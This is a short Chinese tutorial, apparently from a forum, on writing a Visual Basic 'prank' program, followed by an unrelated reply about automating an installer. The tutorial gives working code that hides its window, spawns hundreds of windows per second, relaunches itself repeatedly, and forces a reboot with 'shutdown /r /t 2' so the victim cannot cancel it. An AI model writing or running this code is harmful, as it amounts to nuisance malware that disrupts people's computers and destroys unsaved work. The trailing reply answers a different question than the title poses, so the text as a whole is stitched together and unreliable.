VB编写自动运行程序

下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。

实现代码如下：

Private Sub Timer1_Timer（）

Dim a As New Form1 ‘声明以后出现a就是代表Form1

a.Show ‘Form1d出

End Sub

Private Sub Timer2_Timer（）

Shell App.EXEName ‘运行这个软件的本身

End Sub

然后隐藏窗体本身，书县代码如下：

Private Sub Form_Load（）

Me.Hide

End Sub

那么在XP里自动关机是怎么回事呢？这个就是一个命令就能搞定的（shutdown /r /t 2），就是说，重新启动计算机的倒计时是2秒，这样中招的人就没有办法停止我们的shutdown了，其实到这里就可以算是一个有趣的恶作剧了。实现代码如下：

Private Sub Timer3_Timer（）

Shell （"cmd.exe /c shutdown /r /t 2"） ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒

End Sub

如果我理解正确的话，应该是这样的。有个程序的安装文件，如果点击安装的话，需要点击下一步、下一步，比较麻烦，楼主是想用VB写个程序，打开VB的程序，安装文件就会自动安装了，不用去点击。是这样吗？如果这样比较好做。首先用shell"setup.exe"。然后自动点击按钮的方法实现。代码因机子上没vb，所以没写。可以在网上搜索下。如果实在找不到，给我留言，我抽空帮你写下！

---